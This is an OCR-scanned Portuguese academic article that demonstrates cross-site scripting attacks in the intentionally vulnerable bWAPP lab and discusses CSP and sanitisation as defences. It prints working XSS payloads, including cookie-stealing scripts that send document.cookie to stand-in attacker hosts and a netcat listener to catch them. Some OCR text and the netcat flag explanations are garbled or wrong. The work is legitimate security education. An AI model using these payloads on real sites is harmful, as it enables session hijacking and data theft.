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Abstract — In this article, we seek to analyze attack
techniques with XSS, demonstrating these attacks in the
bWAPP test environment, through the main payloads found in
the OWASP Project. Criteria are also presented to mitigate and
correct the flaws found. The Cross-Site Scripting (XSS) attack
method is one of the vulnerabilities frequently found in web
applications, as it allows the injection of malicious scripts that,
when executed, can cause serious problems, such as session
hijacking and redirection to websites malicious.

Resumo ou Resumen — Neste artigo, busca-se analisar
técnicas de ataque com XSS, demonstrando esses ataques no
ambiente de testes bWAPP, por meio dos principais payloads
encontrados no Projeto OWASP. Apresentam-se também
critérios para mitigar e corrigir as falhas encontradas. O
método de ataque Cross-Site Scripting (XSS) é uma das
vulnerabilidades frequentemente encontradas em aplicacdes
web, uma vez que, permitem a injecdo de scripts maliciosos que
quando executados, podem acarretar graves problemas, como o
sequestro de sessdo e redirecionamento para sites maliciosos.

Palavras-chave — Seguran¢a da Informacéo; Injecdo de
cédigo; JavaScript; Vulnerabilidades.

I.  INTRODUCAO

A falta de conhecimento de muitos desenvolvedores
incentivou a chegada de usuérios mal-intencionados que
dedicam seu tempo online a explorar falhas em aplicagtes
com o objetivo de se beneficiar e cometer cibercrimes, como
por exemplo, o roubo de informagdes, propagacéo de spams e
virus e controle de maquinas zumbis.

Existem miltiplas formas de se explorar falhas em
aplicagdes web. Uma das mais utilizadas é por meio de um
método de ataque que realiza a injecao de scripts maliciosos,
denominado Cross-Site Scripting (XSS).

O XSS age numa pagina web, podendo alterar o
comportamento de uma aplicagdo sem que 0 usuario ou
desenvolvedor perceba (OWASP, 2021a). Esta pratica da ao
atacante a possibilidade de ler todo o contetdo da pagina e de
mandar informagBes para um servidor controlado pelo
atacante, violando assim, o conceito de privacidade de uma
aplicacdo.

O OWASP, apresenta 0 método de ataque XSS como uma
das vulnerabilidades frequentemente encontradas em
aplicacdes web e argumenta que se esse método de injecdo de
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scripts for explorado profundamente, pode acarretar graves
problemas para a aplicagdo (OWASP, 2021b).

A exploragdo das vulnerabilidades XSS, pode ocorrer em
trés principais categorias: refletido (ndo persistente),
armazenado (persistente) e o Document Object Model (DOM)
Based (J. SILVA, 2009).

A. Problematizacéo e Justificativa

Estima-se que cerca de 40% de todos os ciberataques em
2019 foram performados utilizando Cross-Site Scripting, que
é o vetor de ataque favorito dos hackers em todo o mundo
(ILIC, 2019). Os ataques XSS tem como objetivo fazer com
gue o0 atacante se passe pela vitima ou que ocorra um
sequestro de sessdo, no entanto, ataques mais sofisticados
podem fazer com que a aplicacdo seja infectada por uma
méaquina zumbi (GROSSMAN et al, 2007).

Sabendo-se que os métodos de ataque Cross-Site Scripting
(XSS) representam uma parcela consideravel dos ataques
frequentemente executados em paginas web, é interessante
que os desenvolvedores possam ter acesso a documentagdes
que apresentem os tipos de ataques que possam ser injetados
em suas aplicacdes e mostrem de que forma podem ser
implementados métodos de defesa aos ataques XSS
(ACUNETIX, 2020).

O presente artigo visa entender de que forma as aplicacfes
web pode ser exploradas por meio de ataques XSS e que
diretrizes devem ser tomadas para mitigar as falhas ocorridas
pela injecéo de cddigos maliciosos em aplicagGes web.

Por ser um estudo da &rea da computacdo, este artigo
possui como referéncia metodolégica o livro de Waslawick
(2009), que aborda a metodologia de pesquisa em trabalhos
na area da ciéncia da computacdo. Desta forma, a natureza
desta pesquisa ¢ aplicada, uma vez que, buscamos entender as
particularidades dos ataques Cross-Site Scripting em um
contexto de aplicagBes web. Também podemos classifica-la
como um trabalho exploratério, que tem uma abordagem
qualitativa, ja que, serdo analisados os principais tipos de
ataque XSS, por meio de uma ferramenta de teste e em
conclus6es obtidas pelos autores tendo como base a literatura,
a observacdo e a singularidade do ataque XSS. Para obter
estes resultados, optou-se por realizar procedimentos comuns
as pesquisas experimentais, ja que faremos os testes propostos
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em um ambiente controlado e que condiz com os resultados
esperados.

B. Obijetivos
1) Obijetivo Geral

O artigo proposto tem como objetivo geral analisar as
principais técnicas de ataque Cross-Site Scripting (XSS),
demonstrando na pratica como explorar e mitigar essas falhas.

2) Objetivos Especificos

= Descrever métodos de ataque Cross-Site Scripting
(XSS), apresentando suas especificagdes;

= Demonstrar na pratica como realizar ataques XSS e
quais as consequéncias dessas vulnerabilidades;

= Apresentar modos de se proteger e mitigar a inje¢éo
de codigo malicioso em aplicacBes web;

3) Organizacédo do trabalho

Este artigo esta organizado da seguinte forma: a primeira
secdo apresenta a introducdo, contendo a problematizacéo,
justificativa e objetivos que permeiam este estudo. A segunda
secdo discorre sobre o referencial tedrico dessa pesquisa,
apresentando conceitos de seguranga da informac&o, tipos de
ataque Cross-Site Scripting e vulnerabilidades. A terceira
secdo descreve 0s materiais e métodos utilizados formular os
testes de vulnerabilidades. A quarta secdo apresenta os
resultados obtidos com os testes e as discussdes pertinentes.
Por fim, apresentam-se as considerac@es finais.

Il.  REFERENCIAL TEOGRICO

A. Seguranga da Informacdo

A Seguranga da Informacédo pode ser entendida como um
processo que visa a protecdo de dados informacionais,
garantindo assim a integridade, disponibilidade e
confiabilidade dos dados (BEAL, 2005). Garantir esses trés
conceitos é um processo complexo para projetistas, analistas
desenvolvedores e profissionais de tecnologia da informacéo,
uma vez que, deve-se levar em conta “O que vocé esta
tentando proteger? Por que vocé estd tentando proteger?
Como vocé vai protegé-lo?” (RHODES-OUSLEY, 2013).

Estes questionamentos sdo constantes em ambientes de
desenvolvimento, jA que a Seguranca da Informacdo se
apresenta como um importante pilar dentro dos sistemas
computacionais. No entanto, existem empresas e
desenvolvedores que ainda optam por fazer com que a
seguranca de seus sistemas seja um fator opcional,
preocupando-se mais com a minimizacdo do tempo e com a
diminuicéo do custo de desenvolvimento dos projetos.

Essa decisdo de considerar a seguranga como opcional,
pode ser um fator critico para gerar falhas que podem ser
usadas para obter e alterar informacdes. Ao alterar essas
informacgGes, um individuo mal-intencionado pode roubar
dados sigilosos, interceptar comunicacdes entre cliente e
servidor, parar ou no pior dos cenarios, destruir o servico web,
deixando-o inutilizavel ou sem acesso (LUZ, 2011).
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Uma vulnerabilidade muito explorada por potenciais
invasores € a Cross-Site Script (XSS), que sera descrita em
detalhes a seguir.

B. Cross-Site Scripting Refletido (N&o Persistente)

A vulnerabilidade do tipo XSS Refletido é caracterizado
por receber os dados ndo seguros de um usuario e que reflete
diretamente para o browser (DADARIO, 2012). Para isso
acontecer, 0 usudrio precisa acessar a URL construida pelo
invasor, onde o servidor vai repetir no codigo fonte da
aplicacgdo o script malicioso (PORTSWIGGER, 2021).

O método mais comum de realizar esse tipo de ataque, é
através do uso de engenharia social, onde o atacante pode usar
phishing em e-mails ou redes sociais para induzir as vitimas a
carregar a URL com o payload (OWASP, 2021a). Baseado na
documentagéo do Projeto OWASP, podemos ver na Figura 1,
0 ambiente de testes bWapp (MESELLEM, 2021) com a
vulnerabilidade XSS Refletido.

© | ® localhost

an ex+remely bugg\/ web app !

Create User

Bugs Change Password

Set Security Level Reset

/ XSS - Relected (GET) /

Enter your first and last name:

First name:

Last name:
Go

Welcome Lucas Matheus

on Twitter and ask For

bWAPP is licensed under [@) ev-re-ro

© 2014 MME BVBA / Follow

Fig. 1.  Telade entrada de dados com a carga maliciosa executando.
Os dados inseridos nos campos de texto First name e Last
name sdo refletidos na tela, pelo texto "Welcome Lucas
Matheus". Mesmo que o texto ndo fosse exibido, podemos
analisar que os dados séo passados na URL na aplicacao:

http://localhost/dashboard/xss_get.php?firstname=Lucas
&lastname=Matheus&form=submit

Trocando o dado "Matheus" pelo payload:

<iframe src="https://jcw87.github.io/c2-smb1/"
width="100%" height="500"></iframe>

A figura 2 mostra como podemos refletir o jogo Super
Mario Bros, que esta armazenado no GitHub:

e
A& A ITAIPU

BINACIONAL




18° Congresso Latino-americano de

Software Livre e Tecnologias Abertas

/ XSS - Relected (GET) /

Enter your first and last name:

First name

NAPP s licensed under © 2014 MME BVBA / Folow

Fig.2.  Tela de entrada de dados com a carga maliciosa executando.

C. Cross-Site Scripting Armazenado (Persistente)
O XSS persistente ou armazenado ocorre quando o cddigo

malicioso é armazenado no servidor da aplicagdo e em
seguida é recuperado quando a vitima solicita essas
informacBes armazenadas. Esse formato de exploracdo de
XSS, é 0 mais perigoso, pois 0 ataque se repetird
automaticamente sempre que a informacéo for recuperada e
exibida para o usudrio, sendo mais recorrente em redes
sociais, blogs ou campos de comentérios que possam ser lidos
por outros usuarios (OWASP, 2021a).

l Servidor / Web-site
Base de dados
<script..</script>

HTTP POST:
site.com

Atacante

A

http:/atacker.com/cookie=dados_sensiveis

Noticia: Old tudo bem? <script>
window.location='http:/atacker.com/?cookle="
+ document.cookie
<iscript>

Pégina apresentada aos utilizadores

<htmb>
Noticia: Ola tudo bem?
<htmb>

Browser da vitima
Pedido (infetado) recebido do servidor

GET Pedido

<htmi>
Noticia: Ola tudo bem? <script>
window.location="http:/atacker.com/?cookie="
+ document.cookie</script>
<htmb>

Fig. 3. Fluxo de um ataque XSS.

Através da vulnerabilidade XSS persistente podemos
fazer o sequestro dos cookies de um usuario com o auxilio do
utilitario Netcat (GIACOBBI, 2006) através do comando,
MARIANO (2019):

$ netcat -nvIp 9000

-n define a porta

-v realiza a saida de dados detalhado

-1 especifica o tamanho do buffer de recebimento do TCP.
-p especifica a porta de origem

Na pagina vulneravel podemos usar uma carga script
maliciosa, que redireciona 0s cookies do usuério para o
servidor do atacante:
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<script>new
Image().src="http://servidordoatacante:9000/="+document.c
ookie</script>

D localhost

Change Password Create User Set security ~

/ XSS - Stored (Bloa) /

<script>new Image().src="http://192.168.6.104:9606/="+document.col

Submit Add: ¥  Show all Delete: Your entry wa

# Owner Date

2021-06-22
01:28:45
© 2014 MME BVBA / Follow

Fig. 4.

Payload de XSS para roubo de cookie.

Em um cenario real, Endler (2002) cita que um dos
maiores obstaculos para um invasor transformar um exploit
(em portugués, exploracdo) XSS de roubo de cookies em uma
exploracdo bem-sucedida depende do momento exato que que
a vitima estiver fazendo acesso a pagina infectada.

D. Cross-Site Scripting Baseado em Dom (Modelo De
Objeto De Documentos)

O Document Object Model (DOM) € uma especificagao
adotada pela W3C (World Wide Web Consortium), com
objetivo de padronizar a estrutura de uma péagina
independente da forma que estd sendo interpretado no
navegador web. (DADARIO, 2021). Essa especificagéo,
define o termo "documento™ para a linguagem de marcacéo,
sendo representado em uma arvore de n6s como na Figura 5.

document

Root element:
<html>

Element:
<head>

Element:
<title>

Text:
"My title"

Element:

<body>

Element:
<hl>

Document Object Model

Text:
"A heading"

Element: Attribute:
<a> href
Text:
"Link text"

Estrutura do Document Object Model - DOM.

Fig. 5.
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O Javascript tem um papel comum na modificacdo da
arvore DOM em uma pagina web, pois qualquer coisa criada
no conteido da pagina pode ser acessada através do objeto
document (MEDEIROS, 2013). Se existir falhas no
interpretador de script do navegador ou entradas de dados sem
validacdo, é possivel realizar o ataque XSS Baseado em
DOM, efetuando as modificacdes da pagina web sem a
interagdo com o servidor onde estd hospedado (REDE
SEGURA, 2012).

Explorar manualmente falhas no DOM de uma pagina web
é um trabalho arduo, pois é necessario que o desenvolvedor
faga andlises dos parametros do cédigo fonte da pagina
(OWASP, 2021c).

E. Mitigacdo Das Vulnerabilidades Cross-Site Scripting

Segundo Grossman et al. (2007) as vulnerabilidades de
XSS séo um problema complexo, pois podem contextualizar
com bugs do navegador e sua incapacidade de decidir se
determinado cddigo é pertencente a pagina de origem ou se
foi injetado. Outro problema, é o desafio dos desenvolvedores
na construgdo de sites seguros, permitindo que os invasores
explorem as falhas destes sites.

Uma medida que se tornou eficaz contra os ataques XSS,
é 0 uso do mecanismo de seguranca CSP (Content Security
Policy) nos navegadores de internet. Patil (2017) explica que
0 CSP fornece diretrizes de restricdo de contetido diretamente
no cabegalho HTTP, dando permissdo de executar somente o
gue estiver em uma ementa de conteidos confidveis criado
pelos desenvolvedores da aplicacdo web ou através de uma
lista predefinida.

"Um navegador compativel com o CSP s6 ird executar
entdo scripts que vierem de arquivos que estejam presentes
nos dominios que foram previamente especificados como
confidveis" (MOZILLA DEVELOPER, 2021).

Também é possivel fazer a filtragem das tags da aplicacéo
através do método de sanitizacdo do HTML, impedindo que
coédigos maliciosos sejam carregados para o cddigo original.
O HTML Purifier (http://htmlpurifier.org/) é uma biblioteca
open-source que demonstra uma grande capacidade em
preservar o conteido legitimo da péagina fazendo uma analise
das entradas de dados com uma lista especificada pelo
administrador do site.

I1l.  MATERIAIS E METODOS

Os ataques do tipo Cross-Site Scripting consistem na
modificacdo da estrutura de aplicagcBes web, o que pode ser
considerado como crime de dano ao patrimbnio de acordo
com o Art. 163 do Cddigo Penal Brasileiro (BRASIL, 1940).
Por essa razdo, optamos pelo uso de uma aplicacdo open-
source exclusiva para que profissionais na area da seguranca
da informacdo possam testar diversas vulnerabilidades, para
que fizéssemos os testes apresentados neste artigo.

O bWAPP (http://www.itsecgames.com) é uma aplicagdo
desenvolvida em PHP e que utiliza o SGBD MySQL,
podendo ser hospedado em ambientes GNU/Linux, Windows
e macOS. O diferencial dessa ferramenta perante suas
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concorrentes, é sua facilidade de instalacdo e configuracéo,
além disso, ela foi projetada para cobrir todas as
vulnerabilidades do projeto OWASP Top 10 (OWASP,
2021d).

A estrutura usada na hospedagem e acesso do ambiente de
testes bWAPP foi detalhado na Tabela 1:

TABELA|
ESTRUTURA USADO PARA HOSPEDAR E ACESSAR O BWAPP.

Sistema operacional GNU/Linux Debign 10
(buster) 64-bit
Processador Intel Core 15 2.3GHz
Meméria RAM 8 GB DDR3
Pacote de servidor XAMPP
Navegador web Mozilla Firefox

Processo de instalacdo do XAMPP no Debian:

1°  Efetuar 0
www.apachefriends.org;

download do XAMPP:

2°  Abrir o terminal Linux;

3° Dar permisséo de execugdo do arquivo no Linux:
chmod 777 xampp-linux-x64-7.3.28-1-installer.run;
4°  Executar a instalacdo:

sudo ./xampp-linux-x64-7.3.28-1-installer.run;
Processo de instalacdo do bWAPP no XAMPP:

1°  Efetuar 0
WwWw.itsecgames.com;

download do bWAPP:

2° Extrair o arquivo bWAPP_latest.zip no diretério
/opt/lampp/htdocs;

3° Iniciar o servidor XAMPP com o comando:
sudo /opt/lampp/xampp start;

4°  Acessamos bWAPP no navegador pela URL:
http://localhost/dashboard/login.php;

5° Por padrdo é definido o Login como: bee e o
Password como: bug, permitindo o acesso como podemos ver
na Figura 6.
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bWAPP - Portal - Mozilla Firefox

an ex r‘eme\/ Z aﬂy wep OPP t L

Create User Credits

Chonge Password

Set Security Level Reset

/ Portal /

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!

Which bug do you want to hack today? ;)

Itis for security-testing and educational purposes only.

1/ A3 - Lross-Site Scripting (XSS) B

Cross-Site Scripting - Reflected (GET) 7
Cross-Site Scripting - Reflected (POST) r P
Cross-Site Scripting - Reflected (JSON)

Cross-Site Scripting - Reflected (AJAX/JSON)

Cross-Site Scripting - Reflected (AJAX/XML)

Cross-Site Scripting - Reflected (Back Button)

Cross-Site Scripting - Reflected (Custom Header)

Eross-§ite §cripling = Eegec‘ed Eval) -

Hack [N

bWAPP is

under © 204 MME BVBA / Follow

on Twitter an

Fig. 6.

Aplicacéo de testes de vulnerabilidades bWAPP.

Existem diversas formas de fazer inje¢des de codigos
maliciosos, onde cada método se adapte ao contexto da
vulnerabilidade. Na secdo Il por exemplo, foi apresentado na
pratica duas formas de explorar o XSS, para modificar a
estrutura exibindo o jogo Super Méario Bros e para realizar o
sequestro de cookies do usudrio que visitasse a pagina.

Na Figura 7 a codificagdo da pagina apresenta uma brecha
por falta de fechamento das chaves, permitindo um XSS
Refletido. Inserindo o payload: "}]}';alert("XSS");</script> a
pagina retorna um alert com uma mensagem como na Figura
8.

<seript>

var JSONResponseString = '{"movies":[{"response":"HINT: our master
really loves Marvel movies :)"}1}";
f/ var JSONResponse = eval ("(" + JSONResponseString + ")");
var J50NResponse = J50N.parse(JSONResponseString);
document.getElementByTd("result”).innerHTML=]1S0NResponse.movies[@
1.response;
</seript>

</div>

Fig. 7. Caddigo JSON com vulnerabilidade XSS Refletido.
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bWAPP - XSS - Mozilla Firefox

u localhost

Fig. 8. Mensagem sendo refletido na pagina.

Também é possivel usar os recursos do CSS ou HTML da
pagina para injetar uma carga maliciosa, mesclando o
JavaScript em sua estrutura:

<style>
div {
background-image:

url(“data:image/jpg;base64,<\/style><svg/onload=alert(docu
ment.domain)>");

background-color: #cccccc;

}
</style>

O CSP como apresentado na sec¢éo 2, é um dos melhores
métodos para prevenir o Cross-Site Scripting, pois permite
que programadores de aplicacGes para a internet declarem a
origem das informagBes enviadas e requisitadas pelos
usuérios. Por ser um dos melhores, € 0 método
frequentemente usado para mitigar ataques XSS.

Para usar 0 CSP é necessario que o navegador ofereca
suporte para o recurso e que o desenvolvedor configure na
pagina web o cabecalho Content-Security-Policy com seus
valores para controlar os recursos fornecidos no contetido da
aplicacdo web, dificultando a injecdo de cddigos maliciosos
(SANTOS, 2020). Na Figura 9, podemos ver o CSP
implantado nas paginas PHP do bWAPP como forma de
impedir que cddigos XSS fossem refletidos ou armazenados
pela aplicacéo.
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, $directive, , svalues));

$header = ($header, ';');
($header) ;

IJ Line 20, Column 3

Fig. 9.

CSP — Content Security Policy usado em cédigo PHP.

IV. CONCLUSAO

A difusdo da internet mundial permitiu a facilidade do dia
a dia com as variedades de aplica¢des, porém assegurar a
confiabilidade dos dados dos usuarios vem se tornando uma
tarefa complexa devido aos cibercrimes. E impossivel existir
um sistema que seja totalmente seguro, porém com
implementacBes de firewalls, analise e manutencdo dos
cédigos que pode apresentar riscos de instabilidade, sdo
taticas importantes para assegurar aos Usuarios seguranca de
navegacao.

Entre as diversas vulnerabilidades existentes, o Cross-Site
Scripting é um método de explorar o codigo fonte de uma
aplicacdo web para que sejam injetados scripts maliciosos
(normalmente em JavaScript) e realizar alguma modificagdo
de sua estrutura. Apesar de parecer uma simples
vulnerabilidade, se um atacante explorar indevidamente o
cédigo fonte de uma pagina, podemos ter uma fonte priméria
para outras formas de ataque, como o Session Hijacking
(sequestro de sessdo) ou o Phishing.

Os testes foram limitados em uma maquina local, porém é
possivel entender um cenéario mais real de um servidor na
internet com o uso de maquinas virtuais, permitindo criar
servidores para testar a complexidade das aplicacbes em
eventuais vulnerabilidades. Entre algumas ferramentas para
automatizar o processo de varredura do codigo em busca de
falhas, poucos demonstraram sucesso por essa restricdo
durante a pesquisa.

Esse artigo permite que sejam realizadas eventuais
pesquisas explorando 0 XSS com outros ataques como 0 SQL
injection, CSRF (Cross-site Request Forgery), man-in-the-
middle e Session hijacking. Além de possibilitar uma visdo
para que desenvolvedores web cometam menos falhas durante
a codificacdo de aplicativos e sites e busquem formas de
mitigar possiveis ataques.
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